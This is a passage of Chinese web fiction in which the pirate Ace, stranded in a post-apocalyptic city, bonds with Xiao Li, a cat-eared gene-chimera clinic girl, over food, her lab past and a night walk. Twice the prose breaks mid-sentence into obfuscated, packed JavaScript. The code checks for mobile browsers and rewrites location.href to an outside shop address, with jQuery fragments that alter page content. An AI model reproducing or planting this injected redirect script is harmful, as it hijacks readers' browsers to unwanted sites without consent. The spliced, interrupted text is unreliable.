她开始习惯每天清晨那句充满活力的“早上好”,开始习惯沙发上那个总会占据不少空间、散发着热量的身影,开始习惯和他分享那张小小的茶几,甚至开始下意识地,在睁开眼后的第一瞬间,就用目光去寻找他的存在。 这份难得的宁静,最终被艾斯肚子里传来的一阵响亮的“咕噜”声打破。他有点尴尬地放下水杯,试图找补:“时间也不早了,我们吃点东西吧?我把桌面收拾出来。” 小狸点点头,从沙发上轻盈地跳下来,拍了拍裙摆上并不存在的灰尘:“那我去取面包。” 听到“面包”两个字,艾斯的脸上几乎控制不住地流露出一丝痛苦。自从他可以正常进食开始,每天最折磨他的,反而成了吃饭这个问题。原因无他,摆上餐桌的,永远只有那种颜色灰白、口感粗糙、毫无滋味可言的合成面包。每一天,每一顿,皆是如此。 对于出海后第一件大事就是迫切找个靠谱厨子、对美食充满热情的艾斯来说,这简直是堪比酷刑的折磨。但他也清楚地知道,这完全不是小狸的针对或者有意苛待。当他看到小狸拿起那干巴巴的面包块,像完成一项必要任务般,面不改 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941730|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色地塞进嘴里,费力咀嚼时,他所有到了嘴边的抱怨都咽了回去,只能认命地苦着脸,陪她一起啃这能噎死人的“砖块”。 两个人坐在桌子两侧,艾斯一边味同嚼蜡地咀嚼着面包,一边看着对面乖乖巧巧、却同样费力吞咽的少女,认真思考着一个严肃的问题:是不是因为一直吃这种毫无营养的东西,她才总是这么瘦瘦小小,浑身摸不到几两肉,仿佛一阵风就能吹跑的样子? 在又一次被粗糙的面包屑噎得直捶胸口后,艾斯终于忍不住,放下手里剩下的半块“砖头”,开口询问:“小狸,你每天只吃这个东西……真的可以吗?不用吃点肉和青菜什么的吗?” 小狸抬起头,蔚蓝的眼睛里带着一丝纯粹的困惑:“我没吃过别的东西。原来在实验室的时候,只喝过营养剂。来到这里后,才开始吃这种面包。” “从来没有吃过肉和菜!?”艾斯的声音里充满了难以置信。 小狸被他惊讶的语气弄得有些不安,轻轻摇了摇头,尾巴尖也无意识地卷了起来:“可以食用的植物很难在辐射土里生长,新鲜的非常昂贵……动物又很危险,很多探险队没有带回猎物,就死在荒漠里了。肉……甚至卖得更贵些……”她的声音越来越小,“老K的钱……都拿去买酒和烟草了,他自己……也只吃合成面包……” 她小心翼翼地观察着艾斯脸上诧异又带着点心疼的表情,误以为是他对伙食的不满,连忙补充道,声音里带着一丝不易察觉的歉疚:“对不起,我没有意识到伤员确实应该需要更多的营养。你帮了我很多忙,我……我会想想办法的。” “不,我不是这个意思。”艾斯连忙摆手,挠了挠他那头总是翘起几根不服帖发丝的黑发,“只是觉得……每个人都应该有享受美食的权利的。”他若有所思地看向窗外,目光似乎穿透了城市边缘那高耸的、隔绝了荒漠的围墙,用力咬了一口手里干硬的面包,默默地做了一个决定。 他收回目光,视线落在小狸左侧上臂那串清晰的数字纹身上,就着这个时机,问起了一直很关心却不好贸然开口的问题:“你刚刚说的实验室……是什么意思?” 小狸的尾巴尖猛地绷直,然后有些不安地快速晃动着。她不确定,这个暂时缺乏常识、却拥有着纯粹眼神的艾斯,在知道她真正的身份后,会不会也像外面那些人一样,立刻流露出厌恶和疏远。但她从没想过要欺骗他。她忐忑地垂下眼睫,声音轻得几乎像羽毛落地: “我是……基因嵌合实验的实验品。我也不知道……我到底应该算是什么。既不是纯粹的动物,又不是完整的人类……所以……” 所以,可不可以不要讨厌我?这句话被她死死地压在喉咙里,没能说出口。 “你是小狸。” 小狸猛地抬起头,直勾勾地盯住艾斯的脸,仿佛想从上面找出任何一丝虚伪或动摇。 艾斯却非常坚定地,直视着她那双骤然缩紧的、如同受惊小兽般的蓝眼睛,清晰地重复了这句话,语气不容置疑: “你是小狸。这就足够了。” 他的眉眼在那一刻柔和下来,带着一种洞悉一切的包容和某种难以言喻的、温暖而强大的力量。小狸感觉眼睛深处猛地一酸,一种陌生而滚烫的液体毫无预兆地从眼眶里滑落,顺着脸颊流下。她有些慌乱地抬手摸着自己的脸,无措地感受着越来越多的温热液体不受控制地涌出,甚至在口腔里尝到了一丝咸涩的味道。 艾斯看到她惊慌失措、仿佛连哭泣是什么都不知道的样子,心脏像是被一只无形的手紧紧攥住,传来一阵清晰的抽痛。他放轻了声音,那声音温柔得像是在安抚一只受惊的幼猫: “没关系的。难过的时候,害怕的时候,或者……高兴的时候,都是可以哭出来的。” 这个时候……是可以哭的么? 这句话,像是一把钥匙,猝不及防地打开了她心底那扇紧锁的、装着所有委屈、迷茫、孤独和不被接纳的痛苦的大门。汹涌的情绪如同决堤的洪水,冲垮了她一直以来用以保护自己的、笨拙的冷静与疏离。几乎是在一个瞬间,纤弱的少女“哇”的一下放声痛哭,哭声里带着一种撕心裂肺的委屈和释放,像是在弥补着年幼时在实验室里被剥夺的、哭泣的权利和资格。根本控制不住的眼泪大颗大颗地滚落,迅速打湿了她的裙摆和身前的桌面,咸涩的泪水在她心里那片干涸的荒漠上,却仿佛浇灌出了一朵小小的花。 4. 月光与约定 等小狸终于哭够了,像是耗尽了所有力气,只剩下细微的抽噎。她坐在桌旁,两只眼睛红得像受惊的兔子,脸上更是被泪水和之前打扫时沾上的灰尘糊成一片,看起来可怜又狼狈。她刚有些茫然地抬起头,一条温热的、带着清爽水汽的毛巾已经轻轻盖在了她的脸上。 艾斯的动作出乎意料地轻柔,他用毛巾仔细擦拭着她湿漉漉的脸颊,拂去泪痕与污迹,手指偶尔掠过她柔软的发丝,将她黏在脸颊上的鬓发顺到耳后。他的掌心很暖,透过薄薄的毛巾传来一种令人安心的稳定感。 小狸有点不好意思,头顶那双黑色的猫耳因为情绪低落而蔫蔫地垂着,几乎贴在了发丝上。她纤细的手指无意识地抓着自己的裙摆,来回抻动,仿佛这样能缓解内心的窘迫。 “我……我……”她结结巴巴的,不知道该如何解释刚才那场突如其来的崩溃,也不知道该如何面对此刻这份过于温柔的对待。 艾斯却像是没看到她的窘迫,站起身,夸张地伸了个懒腰,骨节发出轻微的声响。他脸上重新挂起那副爽朗的笑容,低头看向她,眼睛在灯光下闪着光:“外面空气不错,要不要出去走走?” 小狸的耳朵下意识抖了抖,顺着他的话望向窗外。因为那场雨,空气中令人窒息的粉尘少了很多,罕见的清冷月光倾泻下来,勾勒出锈带杂乱却在此刻显得宁静的轮廓,看起来确实很舒服。 但她依旧有些犹豫,慢吞吞地从地上站起来。实验品的身份,哪怕是在混乱的黑街,处境也依旧艰难。人们总是喜欢用或审视、或厌恶、或带着某种令人不适的好奇目光打量着她,那些视线像无形的针,刺得她浑身不自在。所以她很少出门,宁愿将自己关在这个狭小的诊所里。 艾斯看出了她的犹豫,但他觉得,此刻正是帮她迈出第一步的最好时机。他没有给她更多思考退缩的时间,直接伸出手,温热的手掌坚定地圈住了她纤细的手腕。 “走了!” 在小狸短促的惊呼声中,他已然拉着她跑动起来。 两人穿过空旷无人的小巷,掠过亮着昏暗灯光的居民区窗户。雨后微凉的晚风带着湿意,迎面吹拂起小狸黑色的长发,也吹散了她心底最后一点迟疑。艾斯掌心的热度源源不断地透过手腕的皮肤传来,他的速度并不快,始终迁就着她的步伐。小狸亦步亦趋地跟在他的身后,目光不由自主地落在他宽阔的背上。 艾斯自从来到这里后一直光着膀子,除了他个人习惯,也确实因为小狸这里根本没有适合他体型的衣服。但他的身材极好,肌肉线条流畅而紧实,休养了几天也未见丝毫松弛。小狸一直能看到他背后那个醒目的、带着弯月胡子的白色骷髅标志。他说那是荣耀的象征,是家人的证明。每次提到“家人”时,他的眼神总是格外明亮,仿佛整个人都由内而外地燃烧起来,散发着灼热的生命力。小狸很喜欢他那个样子,那让她也能隐约触摸到那份她从未真正拥有过的、名为“归属”的温暖。 两个人穿过夜间依旧嘈杂的交易区,在拥挤的人流中奔跑,不可避免地会撞到身边的路人。艾斯一边跑,一边笑着不停地道着歉,语气爽朗听不出丝毫诚意,但他拉着小狸的手却自始至终没有松开,一直带着她向前、向前。似乎也正是那只温热、坚定的大手,无形中注入了莫大的勇气。小狸忽然发现,那些偶尔投来的、带着各种意味的视线,并没有她想象中那么可怕。掠过耳边的风声、洒在身上的月光、空气中若有若无飘来的、属于各种食物的复杂气味……这些鲜活而生动的东西,远比那些空洞的目光更值得她的关注。 当然,还有跑在她前方半步的那个青年,那个笑得爽朗、背影可靠得如同磐石般的身影,所带来的、满满当当的、几乎要溢出来的安全感。 两人一直跑到锈带边缘高耸的城墙下才停下。小狸靠在冰冷粗糙的墙面上,双手支着膝盖,大口大口地喘着气,胸腔因为剧烈的奔跑而火辣辣的,但心里却不知为何感到一种前所未有的畅快,仿佛长久以来积压在心底的压抑和阴郁,都跟着这场奔跑流出的汗水一起,被蒸发、被抛弃在了身后。 她平稳了一会急促的呼吸,抬起头看向斜靠在墙上的艾斯。明明还是个需要休养的伤员,他的身体素质却明显比她好上太多,此刻甚至脸不红气不喘,只是微微仰着头,望着天空中被城市光晕衬得有些模糊的月亮发呆。小狸发现他脸上那惯有的灿烂笑容不见了,那种初醒时的茫然和深沉的孤独感,又一次如同无声的雾气般笼罩了他,不知道此刻他的思绪飘向了何方。 似乎是注意到了小狸专注的视线,艾斯回过神,努力对她扯出一个笑容,却显得有些勉强。 “艾斯……”小狸轻声问,尾巴不安地卷动了一下,“你怎么了?不开心吗?” “啊……没有。”艾斯摇摇头,声音比平时低沉了些,“我很开心。只是……果然还是完全找不到头绪啊。”他低下头,看着自己摊开的手掌,似乎还能感觉到萨奇的鲜血沾满他掌心的温度,“这里,和我来的地方完全不一样。”他的声音里带着一种难以掩饰的失落和担忧,“发生了那么大的事……老爹、萨奇他们……现在不知道怎么样了。我得回去才行。” “会找到办法的。”小狸以为艾斯口中的大事指的是艾斯失踪来到这里这件事,干巴巴地安慰道,她并不擅长说这种话,只能凭借本能,给出一个苍白无力的承诺。她顿了顿,视线飘向一旁的地面,声音更轻了些,却带着一种下定决心的意味,“……在你找到办法之前,暂时住在这里,也没关系的。” 艾斯惊讶地看向她。女孩侧着脸,路灯昏黄的光线在她精致的侧脸上投下柔和的阴影,黑色的猫耳不自觉地微微颤动着,似乎对于自己主动说出这种近乎“挽留”的话,感到十分不自在。 他心中的阴霾,却因她这句笨拙而真诚的话语,忽然就被驱散了一些。一种比之前都要真实、柔软的情绪,从他心底深处浮现,直达眼底:“那就麻烦你了,小狸。” 小狸轻轻“嗯”了一声,没有看他,但身后那条长长的黑色尾巴,却小幅度地、舒缓地左右晃了晃,像被微风拂过的麦穗。 时候不早了,因为诊所的门是老K当初不知从哪儿弄来的防爆级别电子门,安全性颇高,所以也不用太担心会被“零元购”。跑出了相当一段距离的两个人,开始慢悠悠地往回走。 夜风舒缓,两人有一搭没一搭地聊着天。艾斯看着远处漆黑的天幕,随口问道:“小狸,你看过海么?” 小狸摇摇头,老实地回答:“没有。非要说的话……记载里,人类已经有近二百三十年没有近距离接触过真正意义上的海了。” 艾斯已经开始习惯这里奇怪的历史和认知断层,所以并不以为意,只是语气里带上了一丝纯粹的怀念和感慨:“这样啊,那还真是遗憾啊。大海啊……是蔚蓝色的”他嬉笑着看向小狸的脸,再一次肯定到“像你的眼睛一样漂亮又通透”他望着天空似乎在回忆“广阔得一望无际,永远看不到尽头。海上充满了无限的可能,每一天都充满了意想不到的惊喜和未知。它有风平浪静时的安逸温柔,也有掀起风暴和海啸时的狂暴力量。那里有美丽的鱼群,有隐藏的暗礁,有需要全力应对的敌人,有等待发现的宝藏,还有……最重要的,可以托付生命的伙伴和家人……” 他的眼中流露出一丝深切的怀念,微微偏头,看见小狸也仰着脸,蔚蓝的眼眸中充满了纯粹的憧憬与向往,仿佛在努力想象着他所描述的那个瑰丽世界。艾斯不由得仰头笑了一下,声音清朗: “小狸呀,如果有机会,我们一起去看海吧!” 小狸歪着头,看着他被月光勾勒的侧脸,认真地点了点头,像是在做一个郑重的承诺: “嗯!那我们约好了!” “嗯,约好了。” 回去的路上,两人不可避免地再次经过了那片依旧热闹的夜市交易区。刚才匆匆路过无暇他顾,此刻放缓脚步,那些来自各色小摊的、混杂在一起的食物香气便更加凶猛地冲进鼻腔。其中,一股粗制烤肉的油脂焦香尤为突出,像是一只无形的钩子,瞬间抓住了小狸全部的注意力。她不自觉地咽了下口水,脚步虽然还在跟着艾斯往前走,脑袋却不听使唤地一直扭向香气传来的方向,眼睛瞪得圆溜溜的,几乎要黏在那个滋滋冒油的烤肉摊上。 艾斯看着她这副魂不守舍、馋虫大动的样子,不由得失笑,心里觉得她这模样实在可爱得紧。原来这只一直毫无怨言地啃着合成面包的小猫,骨子里还是有像普通小女孩一样,会对美味食物产生渴望的本能。看来,自己心里的那个“投喂计划”,必须要抓紧时间提上日程了。 而小狸则是下意识地摸了摸自己那个干瘪的小布包,估算着里面寥寥无几的货币。她像是下定了某种决心,快走两步,伸手拉了拉艾斯的手臂。 “等一下,艾斯。” 艾斯疑惑地停下脚步,看向她。 小狸最后依依不舍地、深深地望了一眼那个香气四溢的烤肉摊,仿佛要将那味道刻进脑子里,然后拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941731|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着艾斯,脚步坚定地转向了另一边一个看起来她或许能负担得起的、卖炒面的小摊。 “肚子饿了,”她说,语气带着一种破釜沉舟的意味,“我们去吃东西吧。” 这是一家看起来十分简陋的炒面摊,和其他摊贩一样,制作过程相当粗糙,调味也简单得可怜。但胜在是真正用粮食磨粉制作的面条,而非合成的化学物质,加上便宜又大碗这两点,让他的小摊前聚集了比周围更多的顾客。 摊主忙得脚不沾地,根本没空关心顾客是什么人。小狸踮着脚,努力从人群缝隙里递过钱,没一会儿,老板就把两盘油光锃亮、冒着热气、看起来分量十足的简单炒面递到了他们手里。 顾客有些多,艾斯和小狸只能挤在摊位旁一张矮矮的小桌子边。小狸没学过什么餐桌礼仪,拿起摊主提供的、看起来有些年头的叉子,费力地戳着盘子里滑溜溜的面条,却只能眼睁睁看着面条一次次从叉子缝隙间溜走,急得耳朵都立了起来。她正准备求助般地看向艾斯,还没来得及出声,就惊恐地发现—— 艾斯的头,直接埋进了他那盘炒面里!整个人一动不动,一副失去了意识的模样! ??? “艾…艾斯!?”小狸惊慌到破音,猛地站起来,椅子在身后发出刺耳的摩擦声。她手足无措地围着艾斯转,大脑一片空白。怎么了!?中毒?旧伤复发?还是得了什么急病?怎么会这么突然…… 这边的动静吸引了一些周围食客的目光,但那些目光大多只是冷漠地打量了一下,便又事不关己地收了回去,没人上前,也没人多问一句。 在小狸急得眼圈又红了起来,几乎要趴到艾斯后背上试图去听他的心跳时,艾斯却突然猛地坐直了身体,一脸迷茫地眨了眨眼,仿佛刚从深沉的梦境中醒来。 “哎呀,”他揉了揉眼睛,语气带着点刚睡醒的慵懒和歉意,“看来又不小心睡着了呢。”他这才注意到小狸惨白的脸色和红彤彤的眼圈,疑惑地问,“啊?小狸你怎么了?怎么眼眶红红的……” “……” 小狸那即将决堤的眼泪和满心的恐慌,一下子全都僵住了。她瞪圆了那双蔚蓝色的眼睛,看着眼前这个没事人一样的家伙,一口气堵在胸口,居然一个字都说不出来。 艾斯大大咧咧地挠了挠头,随手抓起桌上一块看不出本来颜色的抹布擦了擦沾到酱汁的脸颊,解释道:“哎呀,太久没吃到像样的、有味道的东西了,一不小心幸福得昏过去了……哎?小狸你还没开始吃么?” “……” 小狸气鼓鼓地坐了下来,腮帮子微微鼓起,决定暂时不理会这个吓死人的混蛋。她赌气似的端起盘子,也不管什么礼仪了,直接把叉子当做勺子用,笨拙地舀起面条,大口大口地往嘴里塞。 好气…… 好好吃…… 还是好气! 面条粗糙却带着真实的麦香,简单的酱汁和油脂混合出令人满足的滋味,是她从未体验过的、属于“食物”的幸福。可一想到刚才自己被吓得半死,这股幸福感里就掺杂了浓浓的憋屈。 艾斯看着小狸像只护食又委屈的小动物般,大口大口地吃着面条,单手支着脸,歪头看着她。不知是气的还是因为嘴里塞了太多面条,小狸的脸颊鼓得圆溜溜的,泛着健康的红晕,终于褪去了几分平日里的苍白和疏离,显露出一点这个年纪少女应有的生动模样。 小狸太瘦了。艾斯在心里再次确认。果然,必须要努力给她弄些真正有营养的好吃的东西,让她好好长长身体才行。 那么难吃的合成面包,她居然能面不改色地啃了这么久。说什么“没吃过别的”,说什么“肉很贵”……那双蓝眼睛在说到这些的时候,平静得像在说今天的天气。 要是让老爹知道了,他让个一直照顾他的小姑娘连顿像样的肉都吃不到非得笑话死他不可。 远方那片望不到边的黄沙,辐射尘,小狸一直强调很危险。但再危险,能有新世界危险?早就决定了要出人头地的家伙难道还会怕几只躲在沙子里的蝎子或者长得怪模怪样的蜥蜴? 决定了!弄头大的,让她也尝尝,到底什么才能叫做“食物”。 刚刚小猫看着烤肉摊子咽口水的样子他也看在眼里,她真正吃到肉的时候会是什么样子呢,想象着小猫瞪大的眼睛,艾斯心情很好的看着小狸因为不会用叉子,酱汁蹭的满脸都是吃的凶悍的样子,笑眯眯的抬头看向还没被沙尘遮蔽的月亮 今天真是个好天气啊 5. 无声的告别 自从明白了“食物”和“美食”是完全不同的两个概念后,小狸开始和艾斯一起,对着每餐雷打不动的合成面包,露出同样苦大仇深的表情。小狸摸了摸自己那愈发干瘪的钱包,终于还是咬咬牙,点亮了诊所外那盏许久未用的、光线昏黄的灯牌。 不能再这么悠闲下去了。她看着正在活动筋骨、腹部伤口只剩下一道浅粉痕迹的艾斯,心里默默想着,要再多赚点钱才行……艾斯在养伤,需要吃点好的。 小狸开始变得异常繁忙。虽然她的医术仅限于处理皮肉伤和简单缝合,但在缺医少药、朝不保夕的锈带,这已经足够维持生计。那些受了重伤、内脏破损的人,大多根本不会来找她,他们的结局通常只有悄无声息地死在某个阴暗角落。 忙碌带来了微薄的回报。艾斯和小狸终于换下了那身破旧行头,有了几件还算干净整洁的“新”衣服——从旧衣市场淘来的,虽然款式老旧,但至少没有破洞。诊所的餐桌上也开始零星出现些不一样的东西:有时是带着真实麦香、虽然依旧坚硬但不再是合成物的黑面包;有时是几株不知名、口感苦涩却带着植物清香的绿叶菜;甚至有一次,小狸在艾斯的陪同下,大着胆子在交易区用不少钱换到了两颗长得奇形怪状、颜色诡异但能尝到甜味的果子。在这个植物早已异变的世界,长出什么都不足为奇。但是艾斯似乎对这些长相奇怪的果子十分抵触,再三确认小狸吃过后有没有什么不舒服的地方。看他过度紧张,神经质的样子,小狸撇撇嘴,也没有再去买那些能当做水果吃的果子。 在小狸每天都忙得脚不沾地、身上总带着淡淡消毒水和血腥味的时候,艾斯也没闲着。他开始更频繁地在锈带的街巷间转悠。他那张带着点点雀斑的英俊面孔,配上毫无阴霾的爽朗笑容和出手大方的分享(用他淘到的、不值钱的小玩意儿),让他很快在集市和酒馆混了个脸熟。他认识了不少附近的邻居,驻守的守卫,不同组织的探险队……他也在这些闲聊和观察中,慢慢拼凑、理解着这个陌生的世界,填补着小狸自己也缺乏、无法教给他的,关于物价、势力分布和时代背景的常识空白。当他在酒馆的醉汉口中,或是路人不经意的闲谈里,得知像小狸这样的“基因嵌合体”在此地是何等艰难,甚至至今还有被专门猎捕、当作稀有“商品”售卖的风险时,他心中了然,也愈发明白了那只小猫为何总是一副惊弓之鸟的模样,下意识地与所有人保持距离。在这样的地方,不论何时,保持警惕都不是坏事。 这天上午,小狸刚刚完成一场不算轻松的手术。一大早就有狩猎队的伤员被同伴急匆匆抬来,那人的手臂几乎被变异兽的利爪撕裂,皮肉外翻看着十分骇人。她面无表情地将翻卷的皮肉对齐、缝合,因为没有麻醉剂,整个诊所都回荡着伤员歇斯底里的哀嚎。冰冷的金属束缚带固定着病人挣扎的四肢,以防他误伤自己或小狸,但因剧痛而迸出的血液还是不可避免地溅到了她的白大褂和脸颊上。整个场面看起来不像救死扶伤的手术,反而更像某种残酷而古怪的人体实验。又因诊所通透的格局,这一切都毫无保留地呈现在可能路过的行人眼中,这使得大部分人对这里敬而远之,对老K留下的这只“猫医生”也充满了畏惧。尤其是在诊所里多了一个看起来就不好惹的艾斯之后,那些之前或许还惦记着这间小诊所的人,也慢慢收敛了心思。 给病人用过效果猛烈但副作用也大的升血剂和超负荷剂量的广谱抗菌治疗后,伤员的同伴搀扶着他离开,留下了一些皱巴巴的货币。小狸用一块湿毛巾,慢慢擦拭着手臂和脸上已经半干涸的血迹,直到皮肤泛红。她脚步有些虚浮,却带着完成工作后的轻快,走到沙发边坐下。 艾斯不在诊所,估计又出门了。小狸不知道他平时具体出去做什么,但想想,大概……是在努力打听能回家的方法吧? 想到这里,小狸头顶那对总是敏感转动着的猫耳,几不可查地轻轻耷拉下来,心里涌起一股说不清、道不明的酸涩情绪。这里毕竟不是他的家,那片他口中蔚蓝、广阔、充满自由的大海才是。他总有一天是要回去的。然后……这里又会只剩下她一个人。 小狸用力晃了晃脑袋,仿佛这样就能把那些纷乱扰人的思绪甩出去。她变回通体漆黑的猫咪形态,轻盈地跳上沙发,将自己蜷缩进那个艾斯常靠的抱枕里。 现在,晚上是艾斯睡在那张对于他来说过于狭小的沙发上,看起来十分局促,但他态度坚决,强烈表示没有让收留他的小狸一直睡沙发的道理。小狸自己其实并不在意,她变成猫的时候就只有小小一团,睡在哪里都不占地方。 她的嗅觉很灵敏,空气净化装置正在嗡嗡作响,努力清理着房间里的血腥气。但此刻,她鼻尖萦绕更多的,是独属于艾斯身上的、如同阳光下干燥木材般暖融融的,隐约带着火焰燃烧气息的味道。这味道让她感到莫名的安心。不知从何时起,她已经很少在自己那专属的吊篮里睡午觉,更喜欢趴在这张沾染了他气息的抱枕上浅眠。 不知睡了多久,等小狸迷迷糊糊睁开眼时,房间里已是一片漆黑寂静,只有窗外远处霓虹招牌投来的、变幻不定的微弱光晕。 “艾斯?”她试探地叫了一声,少女的声音在空荡寂静的房间里显得格外清晰,甚至带起了一丝回音。 没有回应。 怎么会?已经这么晚了。 她瞬间清醒,那双属于猫科的、拥有极佳夜视能力的瞳孔在黑暗中放大,将房间里的每一个角落都看得清清楚楚——他不在。甚至,房间里完全没有他回来过的痕迹。如果他回来过,以他对小猫的过度关照的态度,此刻的她应该睡在一条暖暖的、被他小心翼翼盖上的毯子下才对。 心脏像是被一只无形的手猛地攥紧,骤然下沉,沉入一片冰冷的虚空。她猛地从沙发上跳起来,几乎是扑到墙边,拍亮了房间里所有灯源的开关。刺眼的白光瞬间驱散黑暗,将诊所的每一寸空间都照得亮如白昼,无所遁形—— 没有人。哪里都没有。 他走了? 就像他那个雨夜突然出现在她的巷口一样,现在,又这样毫无征兆地消失了? 这个念头像带着冰碴的潮水,瞬间淹没了她。巨大的恐慌和仿佛被掏空般的失落感死死攫住了心脏,让她几乎喘不过气,指尖都变得冰凉。明明才相处了短短几十天,为什么……心口会觉得这么难受,空落落的像是破了一个大洞?那种熟悉的、令人窒息的孤独感再次铺天盖地地涌来,比老K刚离开时,比以往 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她几乎要被这突如其来的、沉重的失落感击垮,脑子里嗡嗡作响,充满了各种嘈杂、悲观的想法。没人再会每天元气满满地对她说“早上好”,没人再和她一起分享虽然难吃但至少能填饱肚子的食物,没人再会拉着她的手,带她穿过曾经畏惧的人群……原来,在不知不觉中,他已经像阳光和空气一样,渗透进了她生活的每一个缝隙。之后,就算她挣到了更多的钱,大概也只能继续一个人,沉默地啃着那些干巴巴的合成面包了吧……小狸忽然觉得自己有点可笑,在这种时候,脑子里居然还能想到合成面包……鼻子一酸,那双蔚蓝色的猫眼里迅速弥漫起一层滚烫的水汽,视线开始模糊。 但是……万一呢?万一是他出事了呢?! 一个更加恐怖的念头如同鬼魅般笼罩了小狸的心头。抢劫,袭击,帮派斗殴,甚至只是娱乐性的随机杀人……这些在锈带都如同家常便饭,并不罕见。小狸几乎下意识地,眼前就浮现出艾斯浑身是伤、倒在某个黑暗血泊中的样子。大脑的自我保护机制,几乎瞬间就说服了她——这就是现实! 不要!不要死啊……艾斯! 巨大的恐惧压倒了一切。小狸夺门而出,甚至顾不上锁门,也完全忘记了自身对那些如影随形的、充满恶意或好奇的目光的恐惧。她像一只无头苍蝇,惊慌失措地奔跑在诊所附近的每一条熟悉或陌生的小巷里,瞪大了眼睛,不放过任何一个阴影角落,生怕自己一个疏忽,艾斯就会像老K一样,悄无声息地死在某个无人知晓的黑暗缝隙里。 没有,没有,哪里都没有! 小狸不知道自己此刻是应该为没找到他的“尸体”而庆幸,还是该为他的“不告而别”而难过。她整个人像是魔怔了一般,在错综复杂的锈带街道间漫无目的地奔跑,甚至鼓起平生最大的勇气,主动拉住路过的行人,声音颤抖地询问:“请问……有没有看到一个黑色短发、脸上有雀斑、个子很高、笑起来很……好看的青年?” 当然,没有人给她想要的回答。大多数人只是不耐烦地将她挥开,厌恶地骂一句“晦气的怪物”,或是带着诡异的打量目光快步离开,留下她一个人僵在原地,像个小丑一样滑稽。 直到城墙方向传来的一阵不同寻常的骚动和喧哗,隐隐吸引了小狸几乎麻木的神经。她像是抓住了最后一根稻草,跌跌撞撞地朝着声音传来的方向靠拢,心中近乎乞求般地想要看到那个熟悉的身影,却又无比害怕真的看到自己想象中的、血淋淋的画面。 就在她几乎已经不抱任何希望,心沉到谷底时,她顺着越聚越多的人群和此起彼伏的惊呼声,终于挤到人群前方看清了城门口混乱的状态—— 她猛地捂住了自己的嘴,蔚蓝的瞳孔因极致的震惊猛然收缩 艾斯!? 6. 狩猎与心防 那是一个模糊的人影,正扛着一只硕大无比、形态狰狞的变异兽尸体,从远处被夜色笼罩的荒漠中,一步一步,沉稳地走过来。那只变异兽体长惊人,目测足有二十米,浑身覆盖着暗沉粗糙的甲壳,狰狞的头颅无力地垂落,四肢像粗壮的树干般拖在沙地上,划出深深的沟壑。 似乎是因为猎物过于庞大沉重,那人走到城门口时,还费了些力气,才将这庞然大物从相对狭窄的城门通道里“塞”了进来。随着变异兽沉重的躯体“轰”然落地,发出一声闷雷般的巨响,仿佛连地面都随之震动了一下,激扬起大片的尘土。空气中,除了尘土味,还弥漫开一股奇异的、混合着焦糊与……肉被烤熟了的香气。 空气瞬间安静了下来,所有人都像是被施了定身法,大张着嘴,目光不约而同地、死死集中在那个已经轻松跃上变异兽尸体、正随意坐在上面、用手扇着风的青年身上。他头上那顶橙色的牛仔帽有些歪斜,脸上沾着沙尘,却带着一种完成大事后的满足与疲惫。 “累死了累死了……”艾斯抹了把额头上并不存在的汗,自言自语地嘟囔着,“没想到这家伙看着不怎么样,拖起来这么重……不过这下应该可以吃上好几天了吧……?” 他后知后觉地发现,城门附近不知何时聚集了黑压压的一片人,全都目不转睛、一言不发地盯着他,眼神里充满了震惊、贪婪、恐惧以及难以置信。空气静得可怕,只有火把燃烧的噼啪声和远处传来的机械噪音。 “怎……怎么了?”艾斯有些茫然地眨了眨眼,被这诡异的寂静弄得有些不自在。 随后,他的目光在人群中扫视,果然,很快就精准地捕捉到了那个娇小的、脸色苍白、正死死望着他的身影。他眼睛瞬间亮了起来,脸上重新绽开那个小狸熟悉的、毫无阴霾的灿烂笑容,激动地冲她用力挥了挥手: “小狸!你看!我打到了这么大的猎物!晚上我们吃烤肉庆祝吧!” 他有些苦恼地拍了拍身下坚硬冰凉的兽尸甲壳, “不过……这家伙似乎有点太大了?吃不完会坏掉的吧?如果分给大家一起吃的话,应该也是足够的吧?” 见小狸还是僵立在原地,没有任何反应,只是死死地盯着他,艾斯有些疑惑地皱了皱眉。他灵活地从兽尸上一跃而下,轻松穿过自动分开的人群,几步就来到了小狸面前。 小狸依旧死死地盯着他,胸腔里那股剧烈的、几乎要撕裂她的恐慌还没来得及完全褪去,此刻又混合着失而复得的巨大冲击,让她的情绪在极端之间剧烈摇摆,大脑一片空白。她张了张嘴,想质问他到底去哪了,想对他发脾气,想告诉他她有多害怕……但最终,千言万语堵在喉咙口,只化作一句硬邦邦的、带着一丝不易察觉颤抖和哽咽的质问: “……你去哪了?” 艾斯脸上的笑容依旧明亮,带着点大男孩般的、毫不掩饰的邀功意味,指了指那头引起轰动的庞然大物:“一直不吃肉怎么行呢?我这两天和探险队的家伙们打听了些情报,今早看你在忙,就自己出了趟门。运气真好,没走多远就遇到了这么个大家伙!干掉它没费什么时间,就是它实在太大了,我一路把它背回来,可费了不少力气……”他吸了吸鼻子,闻着空气中那奇异的肉香,舔了舔嘴唇,“太香了,我路上就直流口水……你中午吃过饭了吗?我也不会料理,晚上拜托邻居给我们做点来吃好不好?我想如果分给他们一点肉,他们应该很愿意帮忙的……” 他兴致勃勃、喋喋不休地说着自己的狩猎计划和晚餐构想,直到发现小狸一直低着头,没有任何回应,他这才后知后觉地察觉到,小狸的情绪……不太对劲。 